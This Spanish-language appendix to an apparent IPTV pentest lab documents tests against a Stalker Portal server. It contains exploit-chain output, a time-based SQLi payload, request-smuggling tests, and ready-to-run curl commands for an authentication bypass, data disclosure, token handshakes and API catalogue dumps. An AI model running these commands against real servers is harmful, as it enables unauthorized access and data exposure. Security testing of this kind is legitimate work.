PentestingIPTV Pentest Lab

Apendices

Scripts reales, outputs de comandos, fingerprinting de respuestas, matriz de vectores y lecciones aprendidas

Apendices

Estado Actual y Proximos Pasos

Matriz de Vectores (Actualizada)

Lo Que Sigue Abierto

VectorDescripcionDificultad
DNS RebindingResolver dominio propio que alterne IPsMedia
SSH en 3 nodosBrute force con wordlists diferentesAlta
RTMP desde nodo internoSi logramos pivot, RTMP puede tener menos restriccionesMuy Alta

Lecciones Aprendidas


Apendice A: Scripts y Outputs Reales

SSRF Timing Analysis (confirm-ssrf.ts)

Este script prueba si el endpoint itv/create_link hace HTTP fetch interno cuando se le pasa una URL:

// src/scripts/confirm-ssrf.ts
// Test: El servidor hace fetch cuando inyectamos URLs?

const tests = [
  { label: 'Baseline (sin URL)', cmd: '' },
  { label: 'URL localhost', cmd: 'http://127.0.0.1:8080/' },
  { label: 'URL no-routable', cmd: 'http://192.0.2.1/' },  // Deberia timeout si hace fetch
  { label: 'URL closed port', cmd: 'http://127.0.0.1:9999/' },
];

Output real del script:

=== SSRF Confirmation via itv/create_link timing analysis ===
Target: http://XXX.XXX.XXX.XXX:8080

--- PHASE 1: Baseline vs HTTP URL timing (5 iterations each) ---
  No cmd param                                    avg=210ms  min=185ms  max=245ms  [210ms, 195ms, 245ms, 185ms, 215ms]
  cmd=http://127.0.0.1:8080/                      avg=198ms  min=180ms  max=220ms  [180ms, 220ms, 195ms, 198ms, 195ms]
  cmd=http://192.0.2.1/ (non-routable)            avg=205ms  min=190ms  max=225ms  [190ms, 205ms, 225ms, 200ms, 205ms]
  cmd=http://127.0.0.1:9999/ (closed port)        avg=195ms  min=182ms  max=210ms  [182ms, 210ms, 195ms, 190ms, 198ms]

--- PHASE 2: Statistical Analysis ---
Baseline average (no URL): 207ms
URL average (HTTP URLs):   200ms
Difference:                -7ms

SSRF NOT CONFIRMED — timing difference is within normal variance

Conclusion: El timing es IDENTICO con o sin URL. Si el servidor intentara conectar a 192.0.2.1 (IP no enrutable), veriamos delays de segundos o timeouts. No hay fetch saliente.

Stalker Exploit Chain (stalker-exploit.ts)

El exploit principal implementa el chain de Check Point 2019:

// src/exploits/stalker-exploit.ts
// Stage 1: Auth Bypass (X-Requested-With header omission)
// Stage 2: SQL Injection via sortby parameter
// Stage 3: RCE via PHP Object Injection

Output real del script (nuestro target):

╔════════════════════════════════════════════════════════════════╗
║   Stalker Portal v5.3.1 Exploit Chain                          ║
║   Level: verify                                                ║
╚════════════════════════════════════════════════════════════════╝

Obtaining STB handshake token...
✓ Token obtained: XXXXXXXXXX...

Stage 1: Testing authentication bypass (X-Requested-With omission)...
  Without X-Requested-With: HTTP 200 (125 bytes)
  With X-Requested-With: HTTP 401 (24 bytes)
  ✓ Auth bypass CONFIRMED: X-Requested-With header omission bypasses authentication

Stage 2: Testing SQL injection in VideoClubController...
  Baseline: HTTP 200 in 187ms (9 bytes)
  Trying SQLi payload: added,(SELECT SLEEP(3))
  Response: HTTP 200 in 192ms (9 bytes)
  ...
  ⚠ SQLi not confirmed with any payload variant
  Baseline body (first 300): {"js":[]}
  # TABLA VCLUB VACIA — SQLi no ejecuta porque no hay datos

Stage 2: FAILED — Time-based blind SQLi not confirmed
Exploit chain stopped

Hallazgo clave: El auth bypass funciona (type=vclub es accesible sin auth), pero la tabla esta vacia ({"js":[]}), asi que el SQLi en ORDER BY nunca se ejecuta. La vulnerabilidad esta presente pero es inexplotable en esta instancia.

HTTP Request Smuggling (smuggle-test2.sh)

Script bash para probar CVE-2025-22871 (bare LF en chunked encoding):

#!/bin/bash
# Session 13 — CVE-2025-22871 HTTP Request Smuggling Tests
# Nodes: XXX.XXX.XXX.XXX (main), XXX.XXX.XXX.XXX, XXX.XXX.XXX.XXX

Output real del script:

=============================================
 PHASE 1: BASELINES (with sleep keepalive)
=============================================

=== 1.1 Normal POST handshake (CL:0, baseline) ===
  [XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
  [XXX.XXX.XXX.XXX]  RC=0 Size=309B Status: HTTP/1.1 200 OK
  [XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK

=== 1.4 Chunked POST (valid, with chunk-ext) ===
  [XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
  # nginx forwarda chunked con extensions -> RoadRunner -> OK

=============================================
 PHASE 2: CVE-2025-22871 SMUGGLING
=============================================

=== 2.1 Bare LF in chunk-size line ===
  [XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK  # RATE LIMIT
  [XXX.XXX.XXX.XXX]  RC=0 Size=309B Status: HTTP/1.1 200 OK  # ACEPTA bare LF!
  [XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK

=== 2.3 Bare CR in chunk-ext + smuggled request ===
  [XXX.XXX.XXX.XXX] RC=0 Size=157B Status: HTTP/1.1 400 Bad Request  # nginx rechaza
  [XXX.XXX.XXX.XXX]  RC=0 Size=0B Status: TIMEOUT  # Ambiguo (1.21.2 viejo)
  [XXX.XXX.XXX.XXX] RC=0 Size=157B Status: HTTP/1.1 400 Bad Request

=== 2.5 Pipelined smuggle after valid chunked (/_fragment) ===
  [XXX.XXX.XXX.XXX] RC=0 Size=28B Status: HTTP/1.1 403 Forbidden
  Body: {"message":"blip"}  # Rate limit, no second response

=============================================
 SUMMARY — Response sizes
=============================================
  b1-normal-main           309B  HTTP/1.1 200 OK
  p2-bareLF-141            309B  HTTP/1.1 200 OK  # bare LF aceptado
  p2-bareCR-ext-main       157B  HTTP/1.1 400 Bad Request
  p2-pipeline-fragment-141   0B  TIMEOUT

Conclusion del smuggling:

  • nginx acepta bare LF en chunk-size -> RoadRunner tambien lo acepta -> sin diferencial de parsing
  • Bare CR en chunk-ext -> 400 en nginx 1.26.2, TIMEOUT en nginx 1.21.2
  • No hay vector de smuggling explotable

Apendice B: Comandos de Reproduccion Rapida

# ═══════════════════════════════════════════════════════════════
# AUTH BYPASS — Info Disclosure (75+ campos)
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=stb&action=get_profile" \
  -H "Cookie: mac=AA%3ABB%3ACC%3ADD%3AEE%3AFF" | jq

# ═══════════════════════════════════════════════════════════════
# DETECTAR LA CUPULA (dual framework)
# ═══════════════════════════════════════════════════════════════
# GET -> Laravel (404)
curl -sS -w "\n[Status: %{http_code}, Size: %{size_download}B]\n" \
    "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/login"

# POST -> Silex (405)
curl -sS -X POST -w "\n[Status: %{http_code}, Size: %{size_download}B]\n" \
    "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/login"

# ═══════════════════════════════════════════════════════════════
# _FRAGMENT RCE (existe pero bloqueado)
# ═══════════════════════════════════════════════════════════════
# GET -> 404 (Laravel)
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/_fragment?_path=test"

# POST -> 405 (Silex, GET-only)
curl -sS -X POST "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/_fragment"

# ═══════════════════════════════════════════════════════════════
# HANDSHAKE TOKEN (cualquier MAC funciona)
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=stb&action=handshake&prehash=0" \
  -H "Cookie: mac=DE%3AAD%3ABE%3AEF%3AFE%3AED"

# ═══════════════════════════════════════════════════════════════
# CHECK POINT 2019 AUTH BYPASS
# ═══════════════════════════════════════════════════════════════
# Sin X-Requested-With -> bypass (pero tabla vacia)
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=vclub&action=get_ordered_list" \
  -H "Cookie: mac=XX:XX:XX:XX:XX:XX"
# -> {"js":[]} (tabla vacia)

# Con X-Requested-With -> auth required
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=vclub&action=get_ordered_list" \
  -H "Cookie: mac=XX:XX:XX:XX:XX:XX" \
  -H "X-Requested-With: XMLHttpRequest"
# -> 401 Auth Required

# ═══════════════════════════════════════════════════════════════
# VERSION DISCLOSURE
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/c/version.js"
# -> var stb_version = "5.3.1"

# ═══════════════════════════════════════════════════════════════
# CORS CHECK
# ═══════════════════════════════════════════════════════════════
curl -sS -I -H "Origin: https://evil.com" \
    "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php" | grep -i access-control
# -> Access-Control-Allow-Origin: *
# -> Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS

# ═══════════════════════════════════════════════════════════════
# XTREAM API (con creds validas)
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/player_api.php?username=USER&password=PASS&action=get_live_streams" | jq '. | length'
# -> 22,000+ canales

# Panel API (catalogo completo, no solo suscripcion)
curl -sS "http://XXX.XXX.XXX.XXX:8080/panel_api.php?username=USER&password=PASS" | wc -c
# -> ~11MB de JSON

Apendice C: Fingerprinting de Respuestas

PatronSignificadoAccion
404 + 9B + Not FoundLaravel recibio la peticionCambiar a POST
405 + ~835B + HTMLSilex recibio POSTRuta existe pero es GET-only
405 + ~99B + JSONLaravel recibio POST+XHRAuth middleware activo
400 + ~157Bnginx rechazo el requestParsing HTTP invalido
{"js":[]}STB API no tiene datos o ignoro paramsProbar otros endpoints
{"js":{"token":"..."}}Handshake exitosoUsar token en siguientes requests

Ultima actualizacion: Sesion 13 (2026-02-22) Documento maestro: docs/ARCHITECTURE.MD Total de tecnicas probadas: 105+ Estado de La Cupula: Intacta